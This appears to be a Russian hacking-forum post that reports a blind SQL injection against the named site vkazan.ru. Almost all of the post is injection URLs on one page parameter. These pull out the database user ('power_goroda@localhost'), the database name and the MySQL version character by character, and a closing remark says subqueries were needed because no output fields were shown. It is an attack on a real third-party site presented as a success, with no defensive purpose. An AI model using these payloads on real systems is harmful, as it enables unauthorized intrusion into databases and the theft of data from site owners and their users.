vkazan.ru

юзер:
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,1,1)))=112 = p
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,2,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,3,1)))=119 = w
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,4,1)))=101 = e
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,5,1)))=114 = r
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,6,1)))=95 = _
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,7,1)))=103 = g
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,8,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,9,1)))=114 = r
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,10,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,11,1)))=100 = d
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,12,1)))=97 = a
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,13,1)))=64 = @
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,14,1)))=108 = l
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,15,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,16,1)))=99 = c
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,17,1)))=97 = a
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,18,1)))=108 = l
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,19,1)))=104 = h
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,20,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,21,1)))=115 = s
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,22,1)))=116 = t
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(user() ,23,1)))=0

[B]бд:[/B]
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),1,1)))=112 = p
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),2,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),3,1)))=119 = w
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),4,1)))=101 = e
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),5,1)))=114 = r
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),6,1)))=95 = _
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),7,1)))=103 = g
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),8,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),9,1)))=114 = r
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),10,1)))=111 = o
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),11,1)))=100 = d
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),12,1)))=97 = a
http://vkazan.ru/city/sights/index.html?id=560+and+ascii(lower(substring(databa se(),13,1)))=0

версия MySQL - 5
http://vkazan.ru/city/sights/index.html?id=560+and+(substring(version(),1,1))=5

p.s. нет выводимых полей, опять пришлось через подзапросы все делать=)